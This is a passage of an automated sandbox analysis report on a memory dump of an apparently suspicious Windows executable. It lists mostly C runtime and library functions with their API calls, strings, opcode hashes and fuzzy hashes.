GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042755C
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004275A6
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042766C

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 69b6f7ddbd3a9f8ea5355250b2a978afd14761d76fc5116f809e0c7f08cf6bd4
Instruction ID: 6baf8c18dc1f55ad0d47fbf7d8bf695c2ddd039b4b48eed2d966520e36bc498a
Opcode Fuzzy Hash: 69b6f7ddbd3a9f8ea5355250b2a978afd14761d76fc5116f809e0c7f08cf6bd4
Instruction Fuzzy Hash: F361D6717045279FDB289F29EC82BB6B3A8EF44314F50407BED05C6285EB78E981CB58

Uniqueness

Uniqueness Score: -1.00%

Function 00414847 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0041493F
SetUnhandledExceptionFilter.KERNEL32 ref: 00414949
UnhandledExceptionFilter.KERNEL32(?), ref: 00414956

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: db0a831cd5d3846c1bd6a179f546bdaf9b7496a934998344df972b8bbf83d0f2
Instruction ID: a6ab7baee91daf00c45c9674bb5eda2a48d05529ba7cf81acb27413b0c70ef6e
Opcode Fuzzy Hash: db0a831cd5d3846c1bd6a179f546bdaf9b7496a934998344df972b8bbf83d0f2
Instruction Fuzzy Hash: 6831C274901228ABCB21DF65DD89BDDBBB8BF48310F5041EAE40CA6251EB749FC58F48

Uniqueness

Uniqueness Score: -1.00%

Function 004273E2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

EnumSystemLocalesW.KERNEL32(00427508,00000001,00000000,?,-00000050,?,00427B3C,00000000,?,?,?,00000055,?), ref: 00427454

Strings

<{B, xrefs: 00427429

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID: <{B
API String ID: 2417226690-2250851687
Opcode ID: 0bb380edbab6e1d20b20a151b663101098ac9e08026a598f849db23246bb16a3
Instruction ID: 426917441abd933cfeeb7a794309b729f04694a37d7b83ac7b2bef0d4af0830d
Opcode Fuzzy Hash: 0bb380edbab6e1d20b20a151b663101098ac9e08026a598f849db23246bb16a3
Instruction Fuzzy Hash: 2E1125363043115FDB18AF39D8916BABB91FF84368B54842EE98687B40D379B942C744

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF08 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0040FF21

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: b6fa829e39647cb617a1f4bdccb6bd6d575dbd688f6fe19625a85731fa4936b0
Instruction ID: d5e4f07369dc952483bb1754e94aacd7f4753de19275b0a77e62bdb20847f451
Opcode Fuzzy Hash: b6fa829e39647cb617a1f4bdccb6bd6d575dbd688f6fe19625a85731fa4936b0
Instruction Fuzzy Hash: 59513AB5D002058BEB24CF69D98569EBBF4FB49314F14857BD405E7390E378A984CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0042775B Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 004277AF

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: c2f7c5169bef2f566317d06d972f8ba724f516edf24a4ddb06fc31436cb3bc47
Instruction ID: fd968a8983cb7a16fdf0a52b3ee4427ff55774bd5275b93e23ed8d15ea5475f4
Opcode Fuzzy Hash: c2f7c5169bef2f566317d06d972f8ba724f516edf24a4ddb06fc31436cb3bc47
Instruction Fuzzy Hash: A021B671719126ABEB18AF25EC45ABB73A8EF45304B50407FFD01D7241EB78AD40CA58

Uniqueness

Uniqueness Score: -1.00%

Function 0042798A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00427724,00000000,00000000,?), ref: 004279B6

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9cf7c9006e2573a468f0599081d11a1f62291e2b115d01cf04b9516f0e723a22
Instruction ID: 7cffcfd60a17ff24cfe79b7ddb74c6e0a7350457810ca011ae1e8eff62d2730f
Opcode Fuzzy Hash: 9cf7c9006e2573a468f0599081d11a1f62291e2b115d01cf04b9516f0e723a22
Instruction Fuzzy Hash: 0B01DB737042227FEF185A25DC457BB3754EB40354F55452AAC46E3180DA78EDC2C695

Uniqueness

Uniqueness Score: -1.00%

Function 0042747D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

EnumSystemLocalesW.KERNEL32(0042775B,00000001,00000000,?,-00000050,?,00427B04,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 004274C7

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3bcf599ed15c1fa5474c31f6c2ad94d4c5c4ed7eb0755f825d6f174fb8ca7859
Instruction ID: 246f45f633c6bbc0ca4ab0c7ea96dad62beebf4c923d342dc090771111b61ec1
Opcode Fuzzy Hash: 3bcf599ed15c1fa5474c31f6c2ad94d4c5c4ed7eb0755f825d6f174fb8ca7859
Instruction Fuzzy Hash: 49F028363043146FDB146F36EC81A767F90EB80368B44842EFA4587650C3B55C42C618

Uniqueness

Uniqueness Score: -1.00%

Function 0041DF33 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00417EBA: EnterCriticalSection.KERNEL32(-0002D51A,?,00419E36,00000000,0043D948,0000000C,00419DFE,?,?,00417F63,?,?,?,0041D2E2,00000001,00000364), ref: 00417EC9

EnumSystemLocalesW.KERNEL32(0041DF26,00000001,0043DBB8,0000000C,0041E31D,00000000), ref: 0041DF6B

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 07205a432e85c8943ade8e7bd22c6e912f9cff66b39770fabf2230a6bb45d11c
Instruction ID: c37ffa3f29b47a5c9c5340eda0e2d768edaf37e25af0b028b3e1282320b733f8
Opcode Fuzzy Hash: 07205a432e85c8943ade8e7bd22c6e912f9cff66b39770fabf2230a6bb45d11c
Instruction Fuzzy Hash: 02F087B6A00200DFD700EF99E802B897BF0EF48724F10416AF4059B2A1C7B95A81CF48

Uniqueness

Uniqueness Score: -1.00%

Function 00427397 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0041D144: GetLastError.KERNEL32(00000000,?,00422D57), ref: 0041D148
Part of subcall function 0041D144: SetLastError.KERNEL32(00000000,00000000,00000000,00000005,000000FF), ref: 0041D1EA

EnumSystemLocalesW.KERNEL32(004272F0,00000001,00000000,?,?,00427B5E,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 004273CE

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 827e35003f877db9d391084e3b72472651126ad194affcd5d6624c04b4f4dc67
Instruction ID: 7df8905e2785786b5a1b65724aab47b2c6132b9bf72ec2bd285382f301d25dd5
Opcode Fuzzy Hash: 827e35003f877db9d391084e3b72472651126ad194affcd5d6624c04b4f4dc67
Instruction Fuzzy Hash: CAF0553630021457CB14DF3AE80566B7F90EFC1724B46409AEE09CB240C7B99883C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 0041E421 Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0041C27E,?,20001004,00000000,00000002,?,?,0041B870), ref: 0041E455

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 422c9aec0e9ed5de092439f91dbffd308a65c3da5af1662edbc6c05bd1834994
Instruction ID: e1ee9e76dd0b48878eb52c949d8d92150b3e75af0069db0f6a3d40fb4f237f14
Opcode Fuzzy Hash: 422c9aec0e9ed5de092439f91dbffd308a65c3da5af1662edbc6c05bd1834994
Instruction Fuzzy Hash: 57E04F39600128FBDF222F63DC08EEE3F1AEF44761F044426FD0665260CB758961AAD9

Uniqueness

Uniqueness Score: -1.00%

Function 0042194B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0042194B

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 9760e16043c4a12cb64540d7b66df2d43cf2b565a5555d1ca94f245d37fb0dfe
Instruction ID: d2a306102a4eb73d72ce0a1351552c83cad2a35487ed633b62112504c5744cf3
Opcode Fuzzy Hash: 9760e16043c4a12cb64540d7b66df2d43cf2b565a5555d1ca94f245d37fb0dfe
Instruction Fuzzy Hash: 12A0113020022A8BA3008F32AA8820C3AE8AA022C038800B8A008C0020EAB08082AA08

Uniqueness

Uniqueness Score: -1.00%

Function 0042B1C8 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042AE81: CreateFileW.KERNEL32(?,00000000,?,0042B271,?,?,00000000), ref: 0042AE9E

GetLastError.KERNEL32 ref: 0042B2DC
__dosmaperr.LIBCMT ref: 0042B2E3
GetFileType.KERNEL32 ref: 0042B2EF
GetLastError.KERNEL32 ref: 0042B2F9
__dosmaperr.LIBCMT ref: 0042B302
CloseHandle.KERNEL32(00000000), ref: 0042B322
CloseHandle.KERNEL32(004228FC), ref: 0042B46F
GetLastError.KERNEL32 ref: 0042B4A1
__dosmaperr.LIBCMT ref: 0042B4A8

Strings

H, xrefs: 0042B42D

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: c94d0fe4a010d67859a834d3db079b84dcafb6ea516ae879c2154f7f715fd7c0
Instruction ID: c6bf9c4d59582f99a9defb0eefa8473981649fc615e6736c6fc32d13d1991b4d
Opcode Fuzzy Hash: c94d0fe4a010d67859a834d3db079b84dcafb6ea516ae879c2154f7f715fd7c0
Instruction Fuzzy Hash: F0A11632B101249FCF19EF68EC95BAE3BA0EB46314F55015EF8119F391D7399812CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 00408EE0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00408F14

Strings

ios_base::eofbit set, xrefs: 00408F9E
ios_base::badbit set, xrefs: 00408F3B
ios_base::failbit set, xrefs: 00408F75

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Exception@8Throw
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-1866435925
Opcode ID: 80f0ca34a17e9dd3b1b8a0163759b0a036d4405b53b4a39d09bf88d500764d19
Instruction ID: 7768beefd3b9d81389688d2f74221988609935be8cfa570b028e8557fdeb0d23
Opcode Fuzzy Hash: 80f0ca34a17e9dd3b1b8a0163759b0a036d4405b53b4a39d09bf88d500764d19
Instruction Fuzzy Hash: 64217670A10208ABC704EBD1D952FAEB375AF44704F14815EB6017B2C1DAB8AE41DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040A610 Relevance: 13.6, APIs: 9, Instructions: 103COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6A2
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6AE
char_traits.LIBCPMTD ref: 0040A6BA
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6EA
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A6F6
char_traits.LIBCPMTD ref: 0040A6FF
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A710
Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 0040A71C
char_traits.LIBCPMTD ref: 0040A725

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::ContextIdentityQueueWork$char_traits
String ID:
API String ID: 1941806930-0
Opcode ID: 4817d718088fd4d53587460149760814ceb1a3b7d9050faf0ea0c3b86eb10381
Instruction ID: 50578ec6fd0a0e1eef66769a6c5bbe0355a8e492feb8f5f6c459b3391c3768fb
Opcode Fuzzy Hash: 4817d718088fd4d53587460149760814ceb1a3b7d9050faf0ea0c3b86eb10381
Instruction Fuzzy Hash: EF411DB690010CEFCB04EF99D992E9E77B5AF44304F10816EF915AB292DB34AE10DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004031B0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 004031BB
int.LIBCPMTD ref: 004031CD

Part of subcall function 00404D30: std::_Lockit::_Lockit.LIBCPMT ref: 00404D46
Part of subcall function 00404D30: std::_Lockit::~_Lockit.LIBCPMT ref: 00404D70

std::_Lockit::~_Lockit.LIBCPMT ref: 0040325E

Strings

Ns@, xrefs: 00403263

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID: Ns@
API String ID: 593203224-4153086589
Opcode ID: 28a4142137bdebbdf4e82423705b913c805085c86edb13fc50ee6e05ba048468
Instruction ID: 2eafad9657542f169d391e17d649bba32b6efe15bf257d4929166bfee1f9b8bf
Opcode Fuzzy Hash: 28a4142137bdebbdf4e82423705b913c805085c86edb13fc50ee6e05ba048468
Instruction Fuzzy Hash: 2321CB74D00108EBCB04EF95D981AAEBBB5AF48305F2082AAE51677290DB34AF45DB95

Uniqueness

Uniqueness Score: -1.00%

Function 0040D8DF Relevance: 12.1, APIs: 8, Instructions: 51COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040D8E6
std::_Lockit::_Lockit.LIBCPMT ref: 0040D8F0
int.LIBCPMTD ref: 0040D907

Part of subcall function 00404D30: std::_Lockit::_Lockit.LIBCPMT ref: 00404D46
Part of subcall function 00404D30: std::_Lockit::~_Lockit.LIBCPMT ref: 00404D70

codecvt.LIBCPMT ref: 0040D92A
std::bad_alloc::bad_alloc.LIBCMTD ref: 0040D939
__CxxThrowException@8.LIBVCRUNTIME ref: 0040D947
std::_Facet_Register.LIBCPMT ref: 0040D966
std::_Lockit::~_Lockit.LIBCPMT ref: 0040D96F

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_H_prolog3RegisterThrowcodecvtstd::bad_alloc::bad_alloc
String ID:
API String ID: 3310255495-0
Opcode ID: 1d619c2f745f45a6baccf3455fde3343e93fde0b3c633d8273bc50defaf7ab41
Instruction ID: fa7badf3fe74694c1b8d33171ecc7ee350e1e21c3124721cbe2da089c7b316c2
Opcode Fuzzy Hash: 1d619c2f745f45a6baccf3455fde3343e93fde0b3c633d8273bc50defaf7ab41
Instruction Fuzzy Hash: 30018E75D001188BCB05EBA1D852AAEB735AF44728F14013FE511772D1DF7CA9099B99

Uniqueness

Uniqueness Score: -1.00%

Function 00406040 Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 004060F0
_strcspn.LIBCMT ref: 0040613D
ctype.LIBCPMTD ref: 00406197
std::ios_base::width.LIBCPMTD ref: 0040644F

Part of subcall function 00404CE0: Concurrency::details::ContextBase::GetWorkQueueIdentity.LIBCMTD ref: 00404CEA

Strings

@, xrefs: 004062EA
LB, xrefs: 004060E0, 004060E3

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: _strcspn$Base::Concurrency::details::ContextIdentityQueueWorkctypestd::ios_base::width
String ID: @$LB
API String ID: 3152856973-1375617125
Opcode ID: 80145f3b76361c8076c33eda7ce22009cf8cbe73f6cc5d4a5239d4d4d7e53428
Instruction ID: bc422bdbcaa8cb06cdf63b12857e54ab20cf6e9b31cfefa757430ccf7ceac025
Opcode Fuzzy Hash: 80145f3b76361c8076c33eda7ce22009cf8cbe73f6cc5d4a5239d4d4d7e53428
Instruction Fuzzy Hash: 17E17CB1900108DFCB08DF99D991AEEB7B5BF88304F14816EF906B7291D738AE50CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00420BD4 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00420C5A

Memory Dump Source

Source File: 00000006.00000002.411959181.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.411956872.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411963264.000000000042E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411966384.000000000043F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.411968976.0000000000443000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_oktuxvhtsq.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 8777c7e036783cad7e172ffb2104c5ea53e3e9d3b58f625a6405791c25ec6152
Instruction ID: 4ae564abd4401b14d1556cc28d52b6bda4f74ee5d9e8f639f3b431d32c8f2938
Opcode Fuzzy Hash: 8777c7e036783cad7e172ffb2104c5ea53e3e9d3b58f625a6405791c25ec6152
Instruction Fuzzy Hash: D2B19672B012759FDB158F68EC81BAFBBE1EF15310F644557E804AB383D278A841C7A8

Uniqueness

Uniqueness Score: -1.00%

Function 00428A87 Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

